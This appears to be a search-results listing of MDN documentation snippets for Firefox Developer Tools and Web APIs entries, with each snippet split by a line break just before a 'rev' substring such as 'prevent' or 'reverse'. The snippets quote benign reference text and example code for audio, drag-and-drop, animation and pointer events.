Debugger.Environment - Firefox Developer Tools
setvariable(name,value) sto
revalue as the value of the variable bound toname in this environment.name must be a string that is a valid ecmascript identifier name;value must be a debuggee value.
Debugger.Memory - Firefox Developer Tools
known values include the following: “api” “eager_alloc_trigger” “destroy_runtime” “last_ditch” “too_much_malloc” “alloc_trigger” “debug_gc” “compartment_
revived” “reset” “out_of_nursery” “evict_nursery” “full_store_buffer” “shared_memory_limit” “periodic_full_gc” “incremental_too_slow” “dom_window_utils” “component_utils” “mem_pressure” “cc_waiting” “cc_forced” “load_end” “page_hide” “nsjscontext_destroy” “set_new_document” “set_doc_...
Dominators - Firefox Developer Tools
these concepts matter in memory analysis, because often an object may itself be small, but may hold references to other much larger objects, and by doing this will p
revent the garbage collector from freeing that extra memory.
Network request list - Firefox Developer Tools
image thumbnails if the request is for an image, hovering over its filename shows a p
review of the image in a tooltip: security icons the network monitor displays an icon in the domain column: this gives you extra information about the security status of the request: icon meaning https weak https (for example, a weak cipher was used) failed https (for example, a certificate was invalid) http loca...
Edit fonts - Firefox Developer Tools
the default text for the sample is "abc" but the p
review text can be edited by clicking on the input field at the top of the section and entering a new value.
Animation inspector example: Web Animations API - Firefox Developer Tools
nkeyframeoptions); var noteanimation = note.animate(notekeyframeset, notekeyframeoptions); iconanimation.pause(); noteanimation.pause(); var firsttime = true; function animatechannel(e) { if (e.button != 0) { return; } if (e.target.id != "icon") { return; } if (firsttime) { iconanimation.play(); noteanimation.play(); firsttime = false; } else { iconanimation.
reverse(); noteanimation.
reverse(); } } document.addeventlistener("click", animatechannel); ...
Call Tree - Firefox Developer Tools
using an inverted, aka bottom-up, call tree an inverted call tree
reverses the order of all stacks, putting the leafmost function calls at the top.
UI Tour - Firefox Developer Tools
the performance tool's ui consists of 4 main pieces: toolbar recordings pane recording overview details pane, which may contain any one of: waterfall call tree flame chart toolbar the toolbar contains buttons to: start and stop a recording import a recording you p
reviously saved clear the recordings pane.
Responsive Design Mode - Firefox Developer Tools
each device can have its own: name size devicepixelratio user agent string touch screen also, you can p
review the properties of existing devices by hovering over the name in the device modal, where they display in a tooltip.
AbstractWorker - Web APIs
event handlers abstractworker.onerror an eventlistener which is invoked whenever an erro
revent of type error bubbles through the worker.
AnalyserNode.smoothingTimeConstant - Web APIs
if 0 is set, there is no averaging done, whereas a value of 1 means "overlap the p
revious and current buffer quite a lot while computing the value", which essentially smoothes the changes across analysernode.getfloatfrequencydata/analysernode.getbytefrequencydata calls.
Animation.finish() - Web APIs
that is, if the animation is playing forward, it sets the playback time to the length of the animation sequence, and if the animation is playing in
reverse (having had its
reverse() method called), it sets the playback time to 0.
Animation.onfinish - Web APIs
hide(endingui); // when the credits are later faded in, // we re-add the pointer events when they're done bringui.onfinish = function() { endingui.style.pointe
revents = 'auto'; }; specifications specification status comment web animationsthe definition of 'animation.onfinish' in that specification.
Animation.playState - Web APIs
p
reviously, web animations defined a pending value to indicate that some asynchronous operation such as initiating playback was yet to complete.
AudioContext.close() - Web APIs
this function does not automatically release all audiocontext-created objects, unless other references have been released as well; however, it will forcibly release any system audio resources that might p
revent additional audiocontexts from being created and used, suspend the progression of audio time in the audio context, and stop processing audio data.
AudioContext.resume() - Web APIs
the resume() method of the audiocontext interface resumes the progression of time in an audio context that has p
reviously been suspended.
AudioContext - Web APIs
audiocontext.resume() resumes the progression of time in an audio context that has p
reviously been suspended/paused.
AudioListener - Web APIs
in a p
revious version of the specification, the dopplerfactor and speedofsound properties and the setposition() method could be used to control the doppler effect applied to audiobuffersourcenodes connected downstream — these would be pitched up and down according to the relative speed of the pannernode and the audiolistener.
AudioNode.connect() - Web APIs
notsupportederror the specified connection would create a cycle (in which the audio loops back through the same nodes repeatedly) and there are no delaynodes in the cycle to p
revent the resulting waveform from getting stuck constructing the same audio frame indefinitely.
AudioNode - Web APIs
after a design
review in october 2013, it was decided to add constructors because they have numerous benefits over factory methods.
AudioParam.exponentialRampToValueAtTime() - Web APIs
the change starts at the time specified for the p
revious event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
AudioParam.linearRampToValueAtTime() - Web APIs
the change starts at the time specified for the p
revious event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
AudioParam.value - Web APIs
if the current time equals or exceeds the time specified by a p
revious call to setvalueattime(), the value is changed to the value passed into setvalueattime().
AudioTrack.enabled - Web APIs
setting enabled to false effectively mutes the audio track, p
reventing it from contributing to the media's audio performance.
AudioWorkletProcessor.process - Web APIs
however, plans are already in place to
revise the specification to allow the size of the audio blocks to be changed depending on circumstances (for example, if the audio hardware or cpu utilization is more efficient with larger block sizes).
Background Tasks API - Web APIs
because event handling and screen updates are two of the most obvious ways users notice performance issues, it's important for your code to be a good citizen of the web and help to p
revent stalls in the execution of the event loop.
BaseAudioContext.createChannelMerger() - Web APIs
fer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter back to the second input of the merger: we // effectively swap the channels, here,
reversing the stereo image.
BaseAudioContext.createChannelSplitter() - Web APIs
fer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter back to the second input of the merger: we // effectively swap the channels, here,
reversing the stereo image.
BaseAudioContext - Web APIs
baseaudiocontext.createconvolver() creates a convolvernode, which can be used to apply convolution effects to your audio graph, for example a
reverberation effect.
Battery Status API - Web APIs
this can be used to adjust your app's resource usage to reduce battery drain when the battery is low, or to save changes before the battery runs out in order to p
revent data loss.
BeforeInstallPromptEvent.prompt() - Web APIs
example var istoosoon = true; window.addeventlistener("beforeinstallprompt", function(e) { if (istoosoon) { e.p
reventdefault(); // p
revents prompt display // prompt later instead: settimeout(function() { istoosoon = false; e.prompt(); // throws if called more than once or default not p
revented }, 10000); } // the event was re-dispatched in response to our request // ...
BeforeUnloadEvent - Web APIs
ext></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} bubbles no cancelable yes target objects defaultview interface event examples window.addeventlistener("beforeunload", function( event ) { event.returnvalue = "\o/"; }); // is equivalent to window.addeventlistener("beforeunload", function( event ) { event.p
reventdefault(); }); webkit-derived browsers don't follow the spec for the dialog box.
Body.text() - Web APIs
let myarticle = document.queryselector('article'); let mylinks = document.queryselectorall('ul a'); for(let i = 0; i <= mylinks.length-1; i++) { mylinks[i].onclick = function(e) { e.p
reventdefault(); let linkdata = e.target.getattribute('data-page'); getdata(linkdata); } }; function getdata(pageid) { console.log(pageid); var myrequest = new request(pageid + '.txt'); fetch(myrequest).then(function(response) { return response.text().then(function(text) { myarticle.innerhtml = text; }); }); } specifications specification status comme...
CSSRule - Web APIs
or future use 9 should be used to define color profiles in the future cssrule.namespace_rule 10 cssnamespacerule cssrule.counter_style_rule 11 csscounterstylerule cssrule.supports_rule 12 csssupportsrule cssrule.document_rule 13 cssdocumentrule cssrule.font_feature_values_rule 14 cssfontfeatu
revaluesrule cssrule.viewport_rule 15 cssviewportrule cssrule.region_style_rule 16 cssregionstylerule cssrule.unknown_rule 0 cssunknownrule cssrule.charset_rule 2 csscharsetrule (removed in most browsers.) an up-to-date informal list of constants can be found on the csswg wiki.
CSS Object Model (CSSOM) - Web APIs
reference animationevent caretposition css csscharsetrule cssconditionrule csscounterstylerule cssfontfacerule cssfontfeatu
revaluesmap cssfontfeatu
revaluesrule cssgroupingrule cssimportrule csskeyframerule csskeyframesrule cssmarginrule cssmediarule cssnamespacerule csspagerule cssrule cssrulelist cssstyledeclaration cssstylesheet cssstylerule csssupportsrule cssvariablesmap cssviewportrule elementcssinlinestyle fontface fontfaceset fontfacesetloadevent geometryutils getstyleutils linkstyle medialist mediaquerylist mediaquerylistevent mediaqueryli...
Cache.add() - Web APIs
note: add() will overwrite any key/value pair p
reviously stored in the cache that matches the request.
Cache.addAll() - Web APIs
note: addall() will overwrite any key/value pairs p
reviously stored in the cache that match the request, but will fail if a resulting put() operation would overwrite a p
revious cache entry stored by the same addall() method.
Cache.put() - Web APIs
fetch(url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(url, response); }) note: put() will overwrite any key/value pair p
reviously stored in the cache that matches the request.
Manipulating video using canvas - Web APIs
f (g > 100 && r > 100 && b < 43) frame.data[i * 4 + 3] = 0; } this.ctx2.putimagedata(frame, 0, 0); return; } when this routine is called, the video element is displaying the most recent frame of video data, which looks like this: in line 2, that frame of video is copied into the graphics context ctx1 of the first canvas, specifying as the height and width the values we p
reviously saved to draw the frame at half size.
Optimizing canvas - Web APIs
« p
reviousnext » the <canvas> element is one of the most widely used tools for rendering 2d graphics on the web.
ChannelMergerNode - Web APIs
fer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter back to the second input of the merger: we // effectively swap the channels, here,
reversing the stereo image.
ChannelSplitterNode - Web APIs
fer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter back to the second input of the merger: we // effectively swap the channels, here,
reversing the stereo image.
Channel Messaging API - Web APIs
hat created the channel uses port1, and the app at the other end of the port uses port2 — you send a message to port2, and transfer the port over to the other browsing context using window.postmessage along with two arguments (the message to send, and the object to transfer ownership of, in this case the port itself.) when these transferable objects are transferred, they are 'neutered' on the p
revious context — the one they p
reviously belonged to.
CharacterData - Web APIs
nondocumenttypechildnode.p
reviouselementsibling read only returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list.
Clients.openWindow() - Web APIs
in chrome for android, the method may instead open the url in an existing browsing context provided by a standalone web app p
reviously added to the user's home screen.
CloseEvent - Web APIs
1011 internal error the server is terminating the connection because it encountered an unexpected condition that p
revented it from fulfilling the request.
ConvolverNode() - Web APIs
options optional options are as follows: audiobuffer: a mono, stereo, or 4-channel audiobuffer containing the (possibly multichannel) impulse response used by the convolvernode to create the
reverb effect.
CredentialsContainer - Web APIs
credentialscontainer.p
reventsilentaccess()secure context sets a flag that specifies whether automatic log in is allowed for future visits to the current origin, then returns an empty promise.
DOMHighResTimeStamp - Web APIs
if during the process of unloading the p
revious document which was loaded in the window, a confirmation dialog was displayed to let the user confirm whether or not to leave the p
revious page, the time origin is the time at which the user confirmed that navigating to the new page was acceptable.
DOMPointReadOnly.x - Web APIs
in general, positive values x mean to the right, and negative values of x means to the left, assuming no transforms have resulted in a
reversal.
DOMPointReadOnly.y - Web APIs
in general, positive values of y mean downward, and negative values of y mean upward, assuming no transforms have resulted in a
reversal.
DOMPointReadOnly.z - Web APIs
in general, positive values of z mean toward the user (out from the screen), and negative values of z mean away from the user (into the screen), assuming no transforms have resulted in a
reversal.
DataTransfer.clearData() - Web APIs
eventlistener('dragstart', dragstarthandler); draggable.removeeventlistener('dragend', dragendhandler); dropable.removeeventlistener('dragover', dragoverhandler); dropable.removeeventlistener('dragleave', dragleavehandler); dropable.removeeventlistener('drop', drophandler); } } function dragoverhandler (event) { status.innerhtml = 'drop available'; event.p
reventdefault(); } function dragleavehandler (event) { status.innerhtml = 'drag in process (drop was available)'; event.p
reventdefault(); } function drophandler (event) { dropped = true; status.innerhtml = 'drop done'; event.p
reventdefault(); // get data linked to event format « text » var _data = event.datatransfer.getdata('text/plain'); var element = ...
DataTransfer.dropEffect - Web APIs
ev.datatransfer.effectallowed); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.p
reventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.p
reventdefault(); // set the dropeffec...
DataTransfer.effectAllowed - Web APIs
d = " + ev.datatransfer.effectallowed); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.p
reventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.p
reventdefault(); // set the dropeffect to mo...
DataTransfer.getData() - Web APIs
ag" draggable="true" ondragstart="drag(event)">drag me to the other box</span> </div> <div id="div2" ondrop="drop(event)" ondragover="allowdrop(event)"></div> css content #div1, #div2 { width:100px; height:50px; padding:10px; border:1px solid #aaaaaa; } javascript content function allowdrop(allowdropevent) { allowdropevent.target.style.color = 'blue'; allowdropevent.p
reventdefault(); } function drag(dragevent) { dragevent.datatransfer.setdata("text", dragevent.target.id); dragevent.target.style.color = 'green'; } function drop(dropevent) { dropevent.p
reventdefault(); var data = dropevent.datatransfer.getdata("text"); dropevent.target.appendchild(document.getelementbyid(data)); document.getelementbyid("drag").style.color = 'black'; } re...
DataTransfer.setData() - Web APIs
use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // clear the drag data cache (for all formats/types) ev.datatransfer.cleardata(); } </script> <body> <h1>examples of <code>datatransfer</code>: <code>setdat...
DataTransfer.setDragImage() - Web APIs
var img = new image(); img.src = 'example.gif'; ev.datatransfer.setdragimage(img, 10, 10); } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } </script> <body> <h1>example of <code>datatransfer.setdragimage()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="tr...
DataTransferItem.getAsFile() - Web APIs
function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = event.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match(...
DataTransferItem.getAsString() - Web APIs
function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^t...
DataTransferItem.kind - Web APIs
function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = event.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match(...
DataTransferItem.type - Web APIs
function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^t...
Document.createTouch() - Web APIs
note: p
revious versions of this method included the following additional parameters but those parameters are not included in either of the standards listed below.
Document.fonts - Web APIs
the fontfaceset interface is useful for loading new fonts, checking the status of p
reviously loaded fonts etc.
Document: gotpointercapture event - Web APIs
bubbles no cancelable no interface pointe
revent event handler property ongotpointercapture examples this example gets a <p> element and listens for the gotpointercapture event.
Document: lostpointercapture event - Web APIs
bubbles no cancelable no interface pointe
revent event handler property onlostpointercapture examples this example listens for the lostpointercapture event, and captures the pointer for an element on pointerdown.
Document: pointerdown event - Web APIs
bubbles yes cancelable yes interface pointe
revent event handler property onpointerdown examples using addeventlistener(): document.addeventlistener('pointerdown', (event) => { console.log('pointer down event'); }); using the onpointerdown event handler property: document.onpointerdown = (event) => { console.log('pointer down event'); }; specifications specification status pointer events ...
Document: pointerenter event - Web APIs
bubbles no cancelable no interface pointe
revent event handler property onpointerenter examples using addeventlistener(): document.addeventlistener('pointerenter', (event) => { console.log('pointer entered element'); }); using the onpointerenter event handler property: document.onpointerenter = (event) => { console.log('pointer entered element'); }; specifications specification status pointer events obsolete ...
Document: pointerleave event - Web APIs
bubbles no cancelable no interface pointe
revent event handler property onpointerleave examples using addeventlistener(): document.addeventlistener('pointerleave', (event) => { console.log('pointer left element'); }); using the onpointerleave event handler property: document.onpointerleave = (event) => { console.log('pointer left element'); }; specifications specification status pointer events obsolete ...
Document: pointermove event - Web APIs
bubbles yes cancelable yes interface pointe
revent event handler property onpointermove examples using addeventlistener(): document.addeventlistener('pointermove', (event) => { console.log('pointer moved'); }); using the onpointermove event handler property: document.onpointermove = (event) => { console.log('pointer moved'); }; specifications specification status pointer events obsolete ...
Document: pointerout event - Web APIs
bubbles yes cancelable yes interface pointe
revent event handler property onpointerout examples using addeventlistener(): document.addeventlistener('pointerout', (event) => { console.log('pointer moved out'); }); using the onpointerout event handler property: document.onpointerout = (event) => { console.log('pointer moved out'); }; specifications specification status pointer events obsol...
Document: pointerover event - Web APIs
bubbles yes cancelable yes interface pointe
revent event handler property onpointerover examples using addeventlistener(): document.addeventlistener('pointerover', (event) => { console.log('pointer moved in'); }); using the onpointerover event handler property: document.onpointerover = (event) => { console.log('pointer moved in'); }; specifications specification status pointer events obsolete ...
Document: pointerup event - Web APIs
bubbles yes cancelable yes interface pointe
revent event handler property onpointerup examples using addeventlistener(): document.addeventlistener('pointerup', (event) => { console.log('pointer up'); }); using the onpointerup event handler property: document.onpointerup = (event) => { console.log('pointer up'); }; specifications specification status pointer events obsolete ...
Document: transitionend event - Web APIs
bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully
reverts to the default or non-transitioned state.
Document.visibilityState - Web APIs
typical use of this can be to p
revent the download of some assets when the document is solely prerendered, or stop some activities when the document is in the background or minimized.
Document: wheel event - Web APIs
<div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 105px; height: 105px; background: #cdf; padding: 5px; } function zoom(event) { event.p
reventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); document.onwheel = zoom; addeventlistener equiva...
Document - Web APIs
globaleventhandlers.onerror is an onerro
reventhandler representing the code to be called when the error event is raised.
DocumentOrShadowRoot.msElementsFromRect() - Web APIs
syntax object.mselementsfromrect(left, top, width, height, retval) parameters left [in] type: floating-point top[in] type: floating-point width[in] type: floating-point height [in] type: floating-point retval [out,
reval] type: nodelist example to find all of the elements under a given point, use mselementsfrompoint(x, y).
How to create a DOM tree - Web APIs
you can automate the creation of a dom tree using a jxon
reverse algorithm in association with the following json representation: { "people": { "person": [{ "address": [{ "@street": "321 south st", "@city": "denver", "@state": "co", "@country": "usa" }, { "@street": "123 main st", "@city": "arlington", "@state": "ma", "@country": "usa" }], "@first-name": "eric", ...
DynamicsCompressorNode() - Web APIs
the dynamicscompressornode() constructor creates a new dynamicscompressornode object which provides a compression effect, which lowers the volume of the loudest parts of the signal, in order to help p
revent clipping and distortion.
DynamicsCompressorNode - Web APIs
the dynamicscompressornode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help p
revent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
EffectTiming.easing - Web APIs
var spriteframes = [ { transform: 'translatey(0)' }, { transform: 'translatey(-100%)' } ]; // get the element that represents alice and the red queen var redqueen_alice_sprite = document.getelementbyid('red-queen_and_alice_sprite'); // animate alice and the red queen using steps() var redqueen_alice = redqueen_alice_sprite.animate( spriteframes, { easing: 'steps(7, end)', direction: "
reverse", duration: 600, playbackrate: 1, iterations: infinity }); specifications specification status comment web animationsthe definition of 'easing' in that specification.
EffectTiming - Web APIs
direction optional whether the animation runs forwards (normal), backwards (
reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-
reverse).
Element: mouseenter event - Web APIs
#mousetarget { box-sizing: border-box; width:15rem; border:1px solid #333; } javascript var ente
reventcount = 0; var leaveeventcount = 0; const mousetarget = document.getelementbyid('mousetarget'); const unorderedlist = document.getelementbyid('unorderedlist'); mousetarget.addeventlistener('mouseenter', e => { mousetarget.style.border = '5px dotted orange'; ente
reventcount++; addlistitem('this is mouseenter event ' + ente
reventcount + '.'); }); mousetarget.addeventlistener('mouseleave',...
Element: mouseleave event - Web APIs
#mousetarget { box-sizing: border-box; width:15rem; border:1px solid #333; } javascript var ente
reventcount = 0; var leaveeventcount = 0; const mousetarget = document.getelementbyid('mousetarget'); const unorderedlist = document.getelementbyid('unorderedlist'); mousetarget.addeventlistener('mouseenter', e => { mousetarget.style.border = '5px dotted orange'; ente
reventcount++; addlistitem('this is mouseenter event ' + ente
reventcount + '.'); }); mousetarget.addeventlistener('mouseleave',...
Element: wheel event - Web APIs
<div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 105px; height: 105px; background: #cdf; padding: 5px; } function zoom(event) { event.p
reventdefault(); scale += event.deltay * -0.01; // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); el.onwheel = zoom; addeventlistener equivalent the event handler can also be set up using the addeventlistener() method: el.addeventlistener('wheel', ...
Comparison of Event Targets - Web APIs
entbyid('target').innerhtml = e.target; document.getelementbyid('relatedtarget').innerhtml = e.relatedtarget; } document.addeventlistener('click', handleclicks, false); document.addeventlistener('mouseover', handlemouseover, false); </script> </body> </html> use of target and relatedtarget the relatedtarget property for the mouseover event holds the node that the mouse was p
reviously over.
Event.eventPhase - Web APIs
event.bubbling_phase 3 the event is propagating back up through the target's ancestors in
reverse order, starting with the parent, and eventually reaching the containing window.
EventSource: error event - Web APIs
bubbles no cancelable no interface event or erro
revent event handler property eventsource.onerror examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('error', (e) => { console.log("an error occurred while attempting to connect."); }); // onerror version evtsource.onerror = (e) => { console.log("an error occurred while attempting to connect."); }; specifications specification status html living standardthe definition of 'error event' in that specification.
EventTarget.dispatchEvent() - Web APIs
return value the return value is false if event is cancelable and at least one of the event handlers which received event called event.p
reventdefault().
EventTarget - Web APIs
0, l = stack.length; i < l; i++) { if (stack[i] === callback){ stack.splice(i, 1); return; } } }; eventtarget.prototype.dispatchevent = function(event) { if (!(event.type in this.listeners)) { return true; } var stack = this.listeners[event.type].slice(); for (var i = 0, l = stack.length; i < l; i++) { stack[i].call(this, event); } return !event.defaultp
revented; }; specifications specification status comment domthe definition of 'eventtarget' in that specification.
FetchEvent() - Web APIs
preloadresponse read only a promise which returns a p
reviously-loaded response to the client.
FileError - Web APIs
no_modification_allowed_err 6 the state of the underlying file system p
revents any writing to a file or a directory.
FileException - Web APIs
no_modification_allowed_err 6 the state of the underlying file system p
revents any writing to a file or a directory.
FileSystemFlags - Web APIs
note that these option flags currently don't have any useful meaning when used in the scope of web content, where security precautions p
revent the creation of new files or the replacement of existing ones.
FileHandle API - Web APIs
api overview this api is based on the following interfaces: idbdatabase.mozcreatefilehandle (was called idbdatabase.mozcreatefilehandle.) idbmutablefile (was p
reviously filehandle.) lockedfile filerequest it also has connections with the file api, especially the file and blob interfaces.
File and Directory Entries API - Web APIs
asynchronous api the asynchronous api should be used for most operations, to p
revent file system accesses from blocking the entire browser if used on the main thread.
FormDataEvent.formData - Web APIs
examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, p
revent default e.p
reventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit th...
FormDataEvent - Web APIs
examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, p
revent default e.p
reventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit th...
GainNode - Web APIs
to p
revent this from happening, never change the value directly but use the exponential interpolation methods on the audioparam interface.
Geolocation.clearWatch() - Web APIs
the geolocation.clearwatch() method is used to unregister location/error monitoring handlers p
reviously installed using geolocation.watchposition().
Geolocation - Web APIs
geolocation.clearwatch() secure context removes the particular handler p
reviously installed using watchposition().
Geolocation API - Web APIs
interfaces geolocation the main class of this api — contains methods to retrieve the user's current position, watch for changes in their position, and clear a p
reviously-set watch.
GlobalEventHandlers.ondrag - Web APIs
urce { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <!-- <div class="source"> --> <p id="source" ondrag="drag_han...
GlobalEventHandlers.ondragend - Web APIs
) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.p
reventdefault(); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) {...
GlobalEventHandlers.ondragenter - Web APIs
) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.p
reventdefault(); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) {...
GlobalEventHandlers.ondragexit - Web APIs
) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.p
reventdefault(); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) {...
GlobalEventHandlers.ondragleave - Web APIs
) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's background color to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.p
reventdefault(); } function drop_handler(ev) { console.log("drop"); ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) {...
GlobalEventHandlers.ondragover - Web APIs
urce { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.p
